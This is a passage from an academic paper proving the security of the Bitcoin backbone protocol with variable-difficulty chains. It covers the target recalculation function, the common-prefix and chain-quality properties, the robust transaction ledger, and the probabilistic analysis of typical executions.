st',x', ctr'\\rangle$$ may extend it. In either case we have an extended chain $$\\mathcal {C}_\\mathsf {new} = \\mathcal {C}B$$ that satisfies $$\\mathrm {head}(\\mathcal {C}_\\mathsf {new}) = B$$.\n\nThe length of a chain $$\\mathop {\\mathrm {len}}(\\mathcal {C})$$ is its number of blocks. Consider a chain $$\\mathcal {C}$$ of length $$\\ell$$ and any nonnegative integer k. We denote by $$\\mathcal {C}^{\\lceil k}$$ the chain resulting from “pruning” the k rightmost blocks. Note that for $$k\\ge \\mathop {\\mathrm {len}}(\\mathcal {C})$$, $$\\mathcal {C}^{\\lceil k}=\\varepsilon$$. If $$\\mathcal {C}_1$$ is a prefix of $$\\mathcal {C}_2$$ we write $$\\mathcal {C}_1 \\preceq \\mathcal {C}_2$$.\n\nGiven a chain $$\\mathcal {C}$$ of length $$\\mathop {\\mathrm {len}}(\\mathcal {C}) = \\ell$$, we let $$\\mathbf x_\\mathcal {C}$$ denote the vector of $$\\ell$$ values that is stored in $$\\mathcal {C}$$ and starts with the value of the first block. Similarly, $$\\mathbf r_\\mathcal {C}$$ is the vector that contains the timestamps of the blockchain $$\\mathcal {C}$$.\n\nFor a chain of variable difficulty, the target T is recalculated for each block based on the round timestamps of the previous blocks. Specifically, there is a function $$D: \\mathbb {Z}^ \\rightarrow \\mathbb {R}$$ which receives an arbitrary vector of round timestamps and produces the next target. The value $$D(\\varepsilon )$$ is the initial target of the system. The difficulty of each block is measured in terms of how many times the block is harder to obtain than a block of target $$T_0$$. In more detail, the difficulty of a block with target T is equal to $$T_0/T$$; without loss of generality we will adopt the simpler expression 1 / T (as $$T_0$$ will be a constant across all executions). We will use $$\\mathrm {diff}(\\mathcal {C})$$ to denote the difficulty of a chain. This is equal to the sum of the difficulties of all the blocks that comprise the chain.\n\nThe Target Calculation Function. Intuitively, the target calculation function $$D(\\cdot )$$ aims at maintaining the block production rate constant. It is parameterized by $$m\\in \\mathbb {N}$$ and $$f\\in (0,1)$$; Its goal is that m blocks will be produced every m / f rounds. We will see in Sect. 6 that the probability f(Tn) with which n parties produce a new block with target T is approximated by\n\\begin{aligned} f(T,n)\\approx \\frac{qTn}{2^\\kappa }. \\end{aligned}\n(Note that $$T/2^{\\kappa }$$ is the probability that a single player produces a block in a single query.)\nTo achieve the above goal Bitcoin tries to keep $${qTn}/{2^\\kappa }$$ close to f. To that end, Bitcoin waits for m blocks to be produced and based on their difficulty and how fast these blocks were computed it computes the next target. More specifically, say the last m blocks of a chain $$\\mathcal {C}$$ are for target T and were produced in $$\\varDelta$$ rounds. Consider the case where a number of players\n\\begin{aligned} n(T,\\varDelta )=\\frac{2^\\kappa m}{qT\\varDelta } \\end{aligned}\nattempts to produce m blocks of target T; note that it will take them approximately $$\\varDelta$$ rounds in expectation. Intuitively, the number of players at the point when m blocks were produced is estimated by $$n(T,\\varDelta )$$; then the next target $$T'$$ is set so that $$n(T,\\varDelta )$$ players would need m / f rounds in expectation to produce m blocks of target $$T'$$. Therefore, it makes sense to set\n\\begin{aligned} T'=\\frac{\\varDelta }{m/f}\\cdot T, \\end{aligned}\nbecause if the number of players is indeed $$n(T,\\varDelta )$$ and remains unchanged, it will take them m / f rounds in expectation to produce m blocks. If the initial estimate of the number parties is $$n_0$$, we will assume $$T_0$$ is appropriately set so that $$f\\approx q T_0 n_0/2^\\kappa$$ and then\n\\begin{aligned} T'=\\frac{n_0}{n(T,\\varDelta )}\\cdot T_0. \\end{aligned}\n\n### Remark 1\n\nRecall that in the flat q-bounded setting all parties have the same hashing power (q-queries per round). It follows that $$n_0$$ represents the estimated initial hashing power while $$n(T,\\varDelta )$$ the estimated hashing power during the last m blocks of the chain $$\\mathcal {C}$$. As a result the new target is equal to the initial target $$T_0$$ multiplied by the factor $$n_0/n(T,\\varDelta )$$, reflecting the change of hashing power in the last m blocks.\n\nBased on the above we give the formal definition of the target (re)calculation function, which is as follows.\n\n### Definition 2\n\nFor fixed constants $$\\kappa ,\\tau ,m,n_0,T_0$$, the target calculation function $$D:\\mathbb {Z}^\\rightarrow \\mathbb {R}$$ is defined as\n$$D(\\varepsilon )=T_0\\quad \\text {and}\\quad D(r_1,\\dots ,r_v)= {\\left\\{ \\begin{array}{ll} \\frac{1}{\\tau }\\cdot T &{}\\hbox {if } \\frac{n_0}{n(T,\\varDelta )}\\cdot T_0<\\frac{1}{\\tau }\\cdot T \\hbox {;}\\\\ \\tau \\cdot T&{}\\hbox {if } \\frac{n_0}{n(T,\\varDelta )}\\cdot T_0>\\tau \\cdot T \\hbox {;}\\\\ \\frac{n_0}{n(T,\\varDelta )}\\cdot T_0&{}\\hbox {otherwise,}\\\\ \\end{array}\\right. }$$\nwhere $$n(T,\\varDelta )=2^\\kappa m /qT\\varDelta$$, with $$\\varDelta =r_{m'}-r_{m'-m}$$, $$T=D(r_1,\\dots ,r_{m'-1})$$, and $$m'={m\\cdot \\lfloor v/m\\rfloor }$$.\n\nIn the definition, $$(r_1,\\dots ,r_v)$$ corresponds to a chain of v blocks with $$r_i$$ the timestamp of the ith block; $$m',\\varDelta ,$$ and T correspond to the last block, duration, and target of the last completed epoch, respectively.\n\n### Remark 2\n\nA remark is in order about the case $$\\frac{n_0}{n(T,\\varDelta )}\\cdot T_0\\notin [\\frac{1}{\\tau }T,\\tau T]$$, since this aspect of the definition is not justified by the discussion preceeding Definition 2. At first there may seem to be no reason to introduce such a “dampening filter” in Bitcoin’s target recalculation function and one should let the parties to try collectively to approximate the proper target. Interestingly, in the absence of such dampening, an efficient attack is known (against the common-prefix property). As we will see, this dampening is sufficient for us to prove security against all attackers, including those considered in (with foresight, we can say that the attack still holds but it will take exponential time to mount).\n\n## 4 The Bitcoin Backbone Protocol with Variable Difficulty\n\nIn this section we give a high-level description of the Bitcoin backbone protocol with chains of variable difficulty; a more detailed description, including the pseudocode of the algorithms, is given in the full version. The presentation is based on the description in . We then formulate two desired properties of the blockchain—common prefix and chain quality—for the dynamic setting.\n\n### 4.1 The Protocol\n\nAs in , in our description of the backbone protocol we intentionally avoid specifying the type of values/content that parties try to insert in the chain, the type of chain validation they perform (beyond checking for its structural properties with respect to the hash functions $$G(\\cdot ),H(\\cdot )$$), and the way they interpret the chain. These checks and operations are handled by the external functions $$V(\\cdot ), I(\\cdot )$$ and $$R(\\cdot )$$ (the content validation function, the input contribution function and the chain reading function, resp.) which are specified by the application that runs “on top” of the backbone protocol. The Bitcoin backbone protocol in the dynamic setting comprises three algorithms.\n\nChain Validation. The $$\\mathsf {validate}$$ algorithm performs a validation of the structural properties of a given chain $$\\mathcal {C}$$. It is given as input the value q, as well as hash functions $$H(\\cdot ), G(\\cdot )$$. It is parameterized by the content validation predicate predicate $$V(\\cdot )$$ as well as by $$D(\\cdot )$$, the target calculation function (Sect. 3). For each block of the chain, the algorithm checks that the proof of work is properly solved (with a target that is suitable as determined by the target calculation function), and that the counter ctr does not exceed q. Furthermore it collects the inputs from all blocks, $${\\mathbf x}_\\mathcal {C}$$, and tests them via the predicate $$V(\\mathbf x_\\mathcal {C})$$. Chains that fail these validation procedure are rejected.\n\nChain Comparison. The objective of the second algorithm, called $$\\mathsf {maxvalid}$$, is to find the “best possible” chain when given a set of chains. The algorithm is straightforward and is parameterized by a $$\\mathsf {max} (\\cdot )$$ function that applies some ordering to the space of blockchains. The most important aspect is the chains’ difficulty in which case $$\\mathsf {max} ( \\mathcal {C}_1, \\mathcal {C}_2 )$$ will return the most difficult of the two. In case $$\\mathrm {diff}(\\mathcal {C}_1) = \\mathrm {diff}(\\mathcal {C}_2)$$, some other characteristic can be used to break the tie. In our case, $$\\mathsf {max} (\\cdot , \\cdot )$$ will always return the first operand to reflect the fact that parties adopt the first chain they obtain from the network.\n\nProof of Work. The third algorithm, called $$\\mathsf {pow}$$, is the proof of work-finding procedure. It takes as input a chain and attempts to extend it via solving a proof of work. This algorithm is parameterized by two hash functions $$H(\\cdot ),G(\\cdot )$$ as well as the parameter q. Moreover, the algorithm calls the target calculation function $$D(\\cdot )$$ in order to determine the value T that will be used for the proof of work. The procedure, given a chain $$\\mathcal {C}$$ and a value x to be inserted in the chain, hashes these values to obtain h and initializes a counter ctr. Subsequently, it increments ctr and checks to see whether $$H(ctr, h) < T$$; in case a suitable ctr is found then the algorithm succeeds in solving the POW and extends chain $$\\mathcal {C}$$ by one block.\n\nThe Bitcoin Backbone Protocol. The core of the backbone protocol with variable difficulty is similar to that in , with several important distinctions. First is the procedure to follow when the parties become active. Parties check the $$\\mathtt {ready}$$ flag they possess, which is false if and only if they have been inactive in the previous round. In case the $$\\mathtt {ready}$$ flag is false, they diffuse a special message ‘$$\\mathbf {Join}$$’ to request the most recent version of the blockchain(s). Similarly, parties that receive the special request message in their $$\\mathrm{R}\\textsc {eceive}()$$ tape broadcast their chains. As before parties, run “indefinitely” (our security analysis will apply when the total running time is polynomial in $$\\kappa$$). The input contribution function $$I(\\cdot )$$ and the chain reading function $$R(\\cdot )$$ are applied to the values stored in the chain. Parties check their communication tape $$\\mathrm{R}\\textsc {eceive}()$$ to see whether any necessary update of their local chain is due; then they attempt to extend it via the POW algorithm $$\\mathsf {pow}$$. The function $$I(\\cdot )$$ determines the input to be added in the chain given the party’s state st, the current chain $$\\mathcal {C}$$, the contents of the party’s input tape $$\\mathrm{I}\\textsc {nput}()$$ and communication tape Receive(). The input tape contains two types of symbols, $$\\mathrm{R}\\textsc {ead}$$ and $$(\\mathrm{I}\\textsc {nsert}, value)$$; other inputs are ignored. In case the local chain $$\\mathcal {C}$$ is extended the new chain is diffused to the other parties. Finally, in case a Read symbol is present in the communication tape, the protocol applies function $$R(\\cdot )$$ to its current chain and writes the result onto the output tape Output().\n\n### 4.2 Properties of the Backbone Protocol with Variable Difficulty\n\nNext, we define the two properties of the backbone protocol that the protocol will establish. They are close variants of the properties in , suitably modified for the dynamic q-bounded synchronous setting.\n\nThe common prefix property essentially remains the same. It is parameterized by a value $$k\\in \\mathbb {N}$$, considers an arbitrary environment and adversary, and it holds as long as any two parties’ chains are different only in their most recent k blocks. It is actually helpful to define the property between an honest party’s chain and another chain that may be adversarial. The definition is as follows.\n\n### Definition 3\n\n(Common-Prefix Property). The common-prefix property $$Q_\\mathsf {cp}$$ with parameter $$k\\in \\mathbb {N}$$ states that, at any round of the execution, if a chain $$\\mathcal {C}$$ belongs to an honest party, then for any valid chain $$\\mathcal {C}'$$ in the same round such that either $$\\mathrm {diff}(\\mathcal {C}')>\\mathrm {diff}(\\mathcal {C})$$, or $$\\mathrm {diff}(\\mathcal {C}')=\\mathrm {diff}(\\mathcal {C})$$ and $$\\mathrm {head}(\\mathcal {C}')$$ was computed no later than $$\\mathrm {head}(\\mathcal {C})$$, it holds that $$\\mathcal {C}^{\\lceil k}\\preceq \\mathcal {C}'\\hbox { and } \\mathcal {C}'^{\\lceil k}\\preceq \\mathcal {C}$$.\n\nThe second property, called chain quality, expresses the number of honest-party contributions that are contained in a sufficiently long and continuous part of a party’s chain. Because we consider chains of variable difficulty it is more convenient to think of parties’ contributions in terms of the total difficulty they add to the chain as opposed to the number of blocks they add (as done in ). The property states that adversarial parties are bounded in the amount of difficulty they can contribute to any sufficiently long segment of the chain.\n\n### Definition 4\n\n(Chain-Quality Property). The chain quality property $$Q_\\mathsf {cq}$$ with parameters $$\\mu \\in \\mathbb {R}$$ and $$\\ell \\in \\mathbb {N}$$ states that for any party P with chain $$\\mathcal {C}$$ in $$\\textsc {view} ^{\\mathbf {t},\\mathbf {n}}_{\\varPi , \\mathcal {A},\\mathcal {Z}}$$, and any segment of that chain of difficulty d such that the timestamp of the first block of the segment is at least $$\\ell$$ smaller than the timestamp of the last block, the blocks the adversary has contributed in the segment have a total difficulty that is at most $$\\mu \\cdot d$$.\n\n### 4.3 Application: Robust Transaction Ledger\n\nWe now come to the (main) application the Bitcoin backbone protocol was designed to solve. A robust transaction ledger is a protocol maintaining a ledger of transactions organized in the form of a chain $$\\mathcal {C}$$, satisfying the following two properties.\n\n• Persistence: Parameterized by $$k\\in \\mathbb {N}$$ (the “depth” parameter), if an honest party P, maintaining a chain $$\\mathcal {C}$$, reports that a transaction tx is in $$\\mathcal {C}^{\\lceil k}$$, then it holds for every other honest party $$P'$$ maintaining a chain $$\\mathcal {C}'$$ that if $$\\mathcal {C}'^{\\lceil k}$$ contains tx, then it is in exactly the same position.\n\n• Liveness: Parameterized by $$u,k\\in \\mathbb {N}$$ (the “wait time” and “depth” parameters, resp.), if a transaction tx is provided to all honest parties for u consecutive rounds, then it holds that for any player P, maintaining a chain $$\\mathcal {C}$$, tx will be in $$\\mathcal {C}^{\\lceil k}$$.\n\nWe note that, as in , Liveness is applicable to either “neutral” transactions (i.e., those that they are never in “conflict” with other transactions in the ledger), or transactions that are produced by an oracle $$\\mathsf {Txgen}$$ that produces honestly generated transactions.\n\n## 5 Overview of the Analysis\n\nOur main goal is to show that the backbone protocol satisfies the properties common prefix and chain quality (Sect. 4.2) in a $$(\\gamma ,s)$$-respecting environment as an intermediate step towards proving, eventually, that the protocol implements a robust transaction ledger. In this section we present a high-level overview of our approach; the full analysis is then presented in Sect. 6. To prove the aforementioned properties we first characterize the set of typical executions. Informally, an execution is typical if for any set S of consecutive rounds the successes of the adversary and the honest parties do not deviate too much from their expectations and no bad event occurs with respect to the hash function (which we model as a “random oracle”). Using the martingale bound of Theorem 6 we demonstrate that almost all polynomially bounded executions are typical. We then proceed to show that in a typical execution any chain that an honest party adopts (1) contains timestamps that are approximately accurate (i.e., no adversarial block has a timestamp that differs too much by its real creation time) and (2) has a target such that the probability of block production remains near a fixed constant f. Finally, these properties of a typical execution will bring us to our ultimate goal: to demonstrate that a typical execution enjoys the common prefix and the chain quality properties, and therefore one can build on the blockchain a robust transaction ledger (Sect. 4.3). Here we highlight the main steps and the novel concepts that we introduce.\n\n“Good” Executions. In order to be able to talk quantitatively about typical executions, we first introduce the notion of $$(\\eta ,\\theta )$$ -good executions, which expresses how well the parties approximate f. Suppose at round r exactly n parties query the oracle with target T. The probability at least one of them will succeed is\n\\begin{aligned} f(T,n)=1-\\Bigl (1-\\frac{T}{2^\\kappa }\\Bigr )^{qn}. \\end{aligned}\nFor the initial target $$T_0$$ and the initial estimate of the number of parties $$n_0$$, we denote $$f_0 = f(T_0, n_0)$$. Looking ahead, the objective of the target recalculation mechanism is to maintain a target T for each party such that $$f(T, n_r)\\approx f_0$$ for all rounds r. (For succintness, we will drop the subscript and simply refer to it as f.)\n\nNow, at a round r of an execution E the honest parties might be querying the random oracle for various targets. We denote by $$T_r^{\\min }(E)$$ and $$T_r^{\\max }(E)$$ the minimum and maximum over those targets. We say r is a target-recalculation point of a valid chain $$\\mathcal {C}$$, if there is a block with timestamp r and m exactly divides the number of blocks up to (and including) this block. Consider constants $$\\eta \\in (0,1]$$ and $$\\theta \\in [1,\\infty )$$ and an execution E:\n\nDefinition 5 (Abridged). A round r is $$(\\eta ,\\theta )$$ -good in E if $$\\eta f \\le f(T_r^{\\min }(E),n_r)$$ and $$f(T_r^{\\max }(E),n_r) \\le \\theta f$$. An execution E is $$(\\eta ,\\theta )$$ -good if every round of E was $$(\\eta ,\\theta )$$-good.\n\nWe are going to study the progress of the honest parties only when their targets lie in a reasonable range. It will turn out that, with high probability, the honest parties always work with reasonable targets. The following bound will be useful because it gives an estimate of the progress the honest parties have made in an $$(\\eta ,\\theta )$$-good execution. We will be interested in the progress coming from uniquely successful rounds, where exactly one honest party computed a POW. Let $$Q_r$$ be the random variable equal to the (maximum) difficulty of such rounds (recall a block with target T has difficulty 1 / T); 0 otherwise. We refer to $$Q_r$$ also as “unique” difficulty. We are able to show the following.\n\nProposition 2 (Informal). If r is an $$(\\eta ,\\theta )$$-good round in an execution E, then $$\\mathbf {E}[Q_r(E_{r-1})]\\ge (1-\\theta f){pn_r}$$, where $$Q_r(E_{r-1})$$ is the unique difficulty conditioned on the execution so far, and $$p =\\frac{q}{2^\\kappa }$$.\n\n“Per round” arguments regarding relevant random variables are not sufficient, as we need executions with “good” behavior over a sequence of rounds—i.e., variables should be concentrated around their means. It turns out that this is not easy to get, as the probabilities of the experiments performed per round depend on the history (due to target recalculation). To deal with this lack of concentration/variance problem, we introduce the following measure.\n\nTypical Executions. Intuitively, the idea that this notion captures is as follows. Note that at each round of a given execution E the parties perform Bernoulli trials with success probabilities possibly affected by the adversary. Given the execution, these trials are determined and we may calculate the expected progress the parties make given the corresponding probabilities. We then compare this value to the actual progress and if the difference is “reasonable” we declare E typical. Note, however, that considering this difference by itself will not always suffice, because the variance of the process might be too high. Our definition, in view of Theorem 6 (Appendix A), says that either the variance is high with respect to the set of rounds we are considering, or the parties have made progress during these rounds as expected. A bit more formally, for a given random oracle query in an execution E, the history of the execution just before the query takes place, determines the parameters of the distribution that the outcome of this query follows as a POW (a Bernoulli trial). For the queries performed in a set of rounds S, let V(S) denote the sum of the variances of these trials.\n\nDefinition 8 (Abridged). An execution E is $$(\\epsilon ,\\eta ,\\theta )$$-typical if, for any given set S of consecutive rounds such that V(S) is appropriately bounded from above:\n• The average unique difficulty is lower-bounded by $$\\frac{1}{\|S\|}(\\sum _{r\\in S}\\mathbf {E}[Q_r(E_{r-1})] -\\epsilon (1-\\theta f)p\\sum _{r\\in S}n_r)$$;\n\n• the average maximum difficulty is upper-bounded by $$\\frac{1}{\|S\|} (1+\\epsilon )p\\sum _{r\\in S}n_r$$;\n\n• the adversary’s average difficulty of blocks with “easy” targets is upper-bounded by $$\\frac{1}{\|S\|} (1+\\epsilon )p\\sum _{r\\in S}t_r$$, while the number of blocks with “hard” targets is bounded below m by a suitable constant; and\n\n• no “bad events” with respect to the hash function occur (e.g., collisions).\n\nThe following is one of the main steps in our analysis.\n\nProposition 4 (Informal). Almost all polynomially bounded executions (in $$\\kappa$$) are typical. The probability of an execution not being typical is bounded by $$\\exp (-\\varOmega ( \\min \\{ m, \\kappa \\}) + \\ln L)$$ where L is the total run-time.\n\nRecall (Remark 2) that the dynamic setting (specifically, the use of target recalculation functions) offers more opportunities for adversarial attacks . The following important intermediate lemma shows that if a typical execution is good up to a certain point, chains that are privately mined for long periods of time by the adversary will not be adopted by honest parties.\n\nLemma 2 (Informal). Let E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. If $$E_{r}$$ is $$(\\eta ,\\theta )$$-good, then, no honest party adopts at round $$r+1$$ a chain that has not been extended by an honest party for at least $$O(\\frac{m}{\\tau f})$$ consecutive rounds.\n\nAn easy corollary of the above is that in typical executions, the honest parties’ chains cannot contain blocks with timestamps that differ too much from the blocks’ actual creation times.\n\nCorollary 1 (Informal). Let E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. If $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good, then the timestamp of any block in $$E_{r}$$ is at most $$O(\\frac{m}{\\tau f})$$ away from its actual creation time (cf. the notion of accuracy in Definition 6).\n\nAdditional important results we obtain regarding $$(\\eta ,\\theta )$$-good executions are that their epochs last about as much as they should (Lemma 3), as well as a “self-correcting” property, which essentially says that if every chain adopted by an honest party is $$(\\eta \\gamma ,\\smash {\\frac{\\theta }{\\gamma }})$$-good in $$E_{r-1}$$ (cf. the notion of a good chain in Definition 5), then $$E_r$$ is $$(\\eta ,\\theta )$$-good (Corollary 2). The above (together with several smaller intermediate steps that we omit from this high-level overview) allow us to conclude:\n\nTheorem 1 (Informal). A typical execution in a $$(\\gamma ,s)$$-respecting environment is $$O(\\frac{m}{\\tau f})$$-accurate and $$(\\eta ,\\theta )$$-good.\n\nCommon Prefix and Chain Quality. Typical executions give us the two desired low-level properties of the blockchain:\n\nTheorems 2 and 3 (Informal). Let E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. Under the requirements of Table 1 (Sect. 6.1), common prefix holds for any $$k\\ge \\theta \\gamma m/ 8 \\tau$$ and chain quality holds for $$\\ell = m/16\\tau f$$ and $$\\mu \\le 1-\\delta /2$$, where for all r, $$t_r < n_r( 1-\\delta )$$.\n\nRobust Transaction Ledger. Given the above we then prove the properties of the robust transaction ledger:\n\nTheorems 4 and 5 (Informal). Under the requirements of Table 1, the backbone protocol satisfies persistence with parameter $$k=\\varTheta (m)$$ and liveness with wait time $$u=\\varOmega (m+k)$$ for depth k.\n\nWe refer to Sect. 6 for the full analysis of the protocol.\n\n## 6 Full Analysis\n\nIn this section we present the full analysis and proofs of the backbone protocol and robust transaction ledger application with chains of variable difficulty. The analysis follows at a high level the roadmap presented in Sect. 5.\n\n### 6.1 Additional Notation, Definitions, and Preliminary Propositions\n\nOur probability space is over all executions of length at most some polynomial in $$\\kappa$$. Formally, the set of elementary outcomes can be defined as a set of strings that encode every variable of every party during each round of a polynomially bounded execution. We won’t delve into such formalism and leave the details unspecified. We will denote by $$\\mathrm{Pr}$$ the probability measure of this space. Define also the random variable $$\\mathcal {E}$$ taking values on this space and with distribution induced by the random coins of all entities (adversary, environment, parties) and the random oracle.\n\nSuppose at round r exactly n parties query the oracle with target T. The probability at least one of them will succeed is\n\\begin{aligned} f(T,n)=1-\\Bigl (1-\\frac{T}{2^\\kappa }\\Bigr )^{qn}. \\end{aligned}\nFor the initial target $$T_0$$ and the initial estimate of the number of parties $$n_0$$, we denote $$f_0 = f(T_0, n_0)$$. Looking ahead, the objective of the target recalculation mechanism would be to maintain a target T for each party such that $$f(T, n_r)\\approx f_0$$ for all rounds r. For this reason, we will drop the subscript from $$f_0$$ and simply refer to it as f; to avoid confusion, whenever we refer to the function $$f(\\cdot ,\\cdot )$$, we will specify its two operands.\n\nNote that f(Tn) is concave and increasing in n and T. In particular, Fact 2 applies. The following proposition provides useful bounds on f(Tn). For convenience, define $$p=q/2^{\\kappa }$$.\n\n### Proposition 1\n\nFor positive integers $$\\kappa ,q,T,n$$ and f(Tn) defined as above,\n$$\\frac{pTn}{1+pTn}\\le f(T,n)\\le {pTn}\\le \\frac{f(T,n)}{1-f(T,n)},\\ \\, \\hbox {where}\\ \\,p=\\frac{q}{2^\\kappa }.$$\n\n### Proof\n\nThe bounds can be obtained using the inequalities $$(1-x)^\\alpha \\ge 1-x\\alpha$$, valid for $$x\\le 1$$ and $$\\alpha \\ge 1$$, and $$e^{-x}\\le \\frac{1}{1+x}$$, valid for $$x\\ge 0$$. $$\\square$$\n\nAt a round r of an execution E the honest parties might be querying the random oracle for various targets. We denote by $$T_r^{\\min }(E)$$ and $$T_r^{\\max }(E)$$ the minimum and maximum over those targets. We say r is a target-recalculation point of a valid chain $$\\mathcal {C}$$, if there is a block with timestamp r and m exactly divides the number of blocks up to (and including) this block.\n\nWe now define two desirable properties of executions which will be crucial in the analysis. We will show later that most executions have these properties.\n\n### Definition 5\n\nConsider an execution E and constants $$\\eta \\in (0,1]$$ and $$\\theta \\in [1,\\infty )$$. A target-recalculation point r in a chain $$\\mathcal {C}$$ in E is $$(\\eta ,\\theta )$$ -good if the new target T satisfies $$\\eta f\\le f(T,n_r)\\le \\theta f$$. A chain $$\\mathcal {C}$$ in E is $$(\\eta ,\\theta )$$ -good if all its target-recalculation points are $$(\\eta ,\\theta )$$ -good. A round r is $$(\\eta ,\\theta )$$ -good in E if $$\\eta f\\le f(T_r^{\\min }(E),n_r)$$ and $$f(T_r^{\\max }(E),n_r)\\le \\theta f$$. We say that E is $$(\\eta ,\\theta )$$ -good if every round of E was $$(\\eta ,\\theta )$$-good.\n\nFor a round r, the following set of chains is of interest. It contains, besides the chains that the honest parties have, those chains that could potentially belong to an honest party.\nwhere $$\\mathcal {C}\\in E_r$$ means that $$\\mathcal {C}$$ exists and is valid at round r.\n\n### Definition 6\n\nConsider an execution E. For $$\\epsilon \\in [0,\\infty )$$, a block created at round r is $$\\epsilon$$ -accurate if it has a timestamp $$r'$$ such that $$\|r'-r\|\\le \\epsilon \\frac{ m}{f}$$. We say that $$E_r$$ is $$\\epsilon$$ -accurate if no chain in $$\\mathcal {S}_r$$ contains a block that is not $$\\epsilon$$-accurate. We say that E is $$\\epsilon$$ -accurate if for every round r in the execution, $$E_r$$ is $$\\epsilon$$-accurate.\n\nOur next step is to define the typical set of executions. To this end we define a few more quantities and random variables.\n\nIn an actual execution E the honest parties may be split across different chains with possibly different targets. We are going to study the progress of the honest parties only when their targets lie in a reasonable range. It will turn out that, with high probability, the honest parties always work with reasonable targets. For a round r, a set of consecutive rounds S, and constant $$\\eta \\in (0,1)$$, let\n\\begin{aligned} T^{(r,\\eta )}=\\frac{\\eta f}{pn_r}\\quad \\hbox {and}\\quad T^{(S,\\eta )}=\\min _{r\\in S}T^{(r,\\eta )}. \\end{aligned}\nTo expunge the mystery from the definition of $$T^{(r,\\eta )}$$, note that in an $$(\\eta ,\\theta )$$-good round all honest parties query for target at least $$T^{(r,\\eta )}$$. We now define for each round r a real random variable $$D_r$$ equal to the maximum difficulty among all blocks with targets at least $$T^{(r,\\eta )}$$ computed by honest parties at round r. Define also $$Q_r$$ to equal $$D_r$$ when exactly one block was computed by an honest party and 0 otherwise.\n\nRegarding the adversary, we are going to be interested in periods of time during which he has gathered a number of blocks in the order of m. Given that the targets of blocks are variable themselves, it is appropriate to consider the difficulty acquired by the adversary not in a set of consecutive rounds but rather in a set of consecutive adversarial queries that may span a number of rounds but do are not necessarily a multiple of q.\n\nFor a set of consecutive queries indexed by a set J, we define the following value that will act as a threshold for targets of blocks that are attempted adversary.\n\\begin{aligned} T^{(J)}=\\frac{\\eta (1-\\delta )(1-2\\epsilon )(1-\\theta f)}{32\\tau ^3\\gamma } \\cdot \\frac{m}{\|J\|}\\cdot 2^\\kappa . \\end{aligned}\nGiven the above threshold, for $$j\\in J$$, if the adversary computed at his j-th query a block of difficulty at most $$1/T^{\\smash {(J)}}$$, then let the random variable $$A^{\\smash {(J)}}_j$$ be equal to the difficulty of this block; otherwise, let $$A^{\\smash {(J)}}_j=0$$. The above definition suggests that we collect in $$A^{\\smash {(J)}}_j$$ the difficulty acquired by the adversary as long as it corresponds to blocks that are not too difficult (i.e., those with targets less than $$T^{(J)}$$). With foresight we note that this will enable a concentration argument for random variable $$A^{\\smash {(J)}}_j$$. We will usually drop the superscript (J) from A.\n\nLet $$\\mathcal {E}_{r-1}$$ contain the information of the execution just before round r. In particular, a value $$E_{r-1}$$ of $$\\mathcal {E}_{r-1}$$ determines the targets against which every party will query the oracle at round r, but it does not determine $$D_r$$ or $$Q_r$$. If E is a fixed execution (i.e., $$\\mathcal {E}=E$$), denote by $$D_r(E)$$ and $$Q_r(E)$$ the value of $$D_r$$ and $$Q_r$$ in E. If a set of consecutive queries J is considered, then, for $$j\\in J$$, $$A^{\\smash {(J)}}_j(E)$$ is defined analogously. In this case we will also write $$\\mathcal {E}^{\\smash {(J)}}_j$$ for the execution just before the j-th query of the adversary.\n\nWith respect to the random variables defined above, the following bound will be useful because it gives an estimate of the progress the honest parties have made in an $$(\\eta ,\\theta )$$-good execution. Note that we are interested in the progress coming from uniquely successful rounds, where exactly one honest party computed a POW. The expected difficulty that will be computed by the $$n_r$$ honest parties at round r is $$pn_r$$. However, the easier the POW computation is, the smaller $$\\mathbf {E}[Q_r\|\\mathcal {E}_{r-1}=E_{r-1}]$$ will be with respect to this value. Since the execution is $$(\\eta ,\\theta )$$-good, a POW is computed by the honest parties with probability at most $$\\theta f$$. This justifies the appearance of $$(1-\\theta f)$$ in the bound.\n\n### Proposition 2\n\nIf round r is $$(\\eta ,\\theta )$$-good in E, then $$\\mathbf {E}[Q_r\|\\mathcal {E}_{r-1}=E_{r-1}]\\ge (1-\\theta f){pn_r}$$.\n\n### Proof\n\nLet us drop the subscript r for convenience. Suppose that the honest parties were split into k chains with corresponding targets $$T_1\\le T_2\\le \\cdots \\le T_k=T^{\\max }$$. Let also $$n_1,n_2,\\dots ,n_k$$, with $$n_1+\\cdots +n_k=n$$, be the corresponding number of parties with each chain. First note that\n$$\\prod _{j\\in [k]}\\bigl [1-f(T_j,n_j)\\bigr ] \\ge \\prod _{j\\in [k]}\\bigl [1-f(T^{\\max },n_j)\\bigr ] =1-f(T^{\\max },n)\\ge 1-\\theta f,$$\nwhere the first inequality holds because f(Tn) is increasing in T. Proposition 1 now gives\n$$\\mathbf {E}[Q_r\|\\mathcal {E}_{r-1}=E_{r-1}] =\\sum _{i\\in [k]}\\frac{f(T_i,n_i)/T_i}{1-f(T_i,n_i)}\\cdot \\prod _{j\\in [k]}\\bigl [1-f(T_j,n_j)\\bigr ] \\ge (1-\\theta f)\\sum _{i\\in [k]}pn_i.$$\n$$\\square$$\n\nThe properties we have defined will be shown to hold in a $$(\\gamma ,s)$$-respecting environment, for suitable $$\\gamma$$ and s. The following simple fact is a consequence of the definition.\n\n### Fact 1\n\nIn a $$(\\gamma ,s)$$-respecting environment, for any set S of consecutive rounds with $$\|S\|\\le s$$, any $$S'\\subseteq S$$, and any $$n\\in \\{n_r:r\\in S\\}$$,\n\\begin{aligned} \\frac{1}{\\gamma }\\cdot n\\le \\frac{1}{\|S'\|}\\cdot \\sum _{r\\in S'}n_r\\le \\gamma \\cdot n. \\end{aligned}\n\n### Proof\n\nThe average of several numbers is bounded by their $$\\min$$ and $$\\max$$. Furthermore, the definition of $$(\\gamma ,s)$$-respecting implies $$\\min _{r\\in S}n_r\\ge \\frac{1}{\\gamma }\\max _{r\\in S}n_r\\ge \\frac{1}{\\gamma }n$$ and $$\\max _{r\\in S}n_r\\le \\gamma \\min _{r\\in S}\\le \\gamma n$$. Thus,\n$$\\frac{1}{\\gamma }\\cdot n\\le \\min _{r\\in S}n_r\\le \\min _{r\\in S'}n_r\\le \\frac{1}{\|S'\|}\\cdot \\sum _{r\\in S'}n_r \\le \\max _{r\\in S'}n_r\\le \\max _{r\\in S}n_r\\le \\gamma \\cdot n.$$\n$$\\square$$\n\nOur analysis involves a number of parameters that are suitably related. Table 1 summarizes them, recalls their 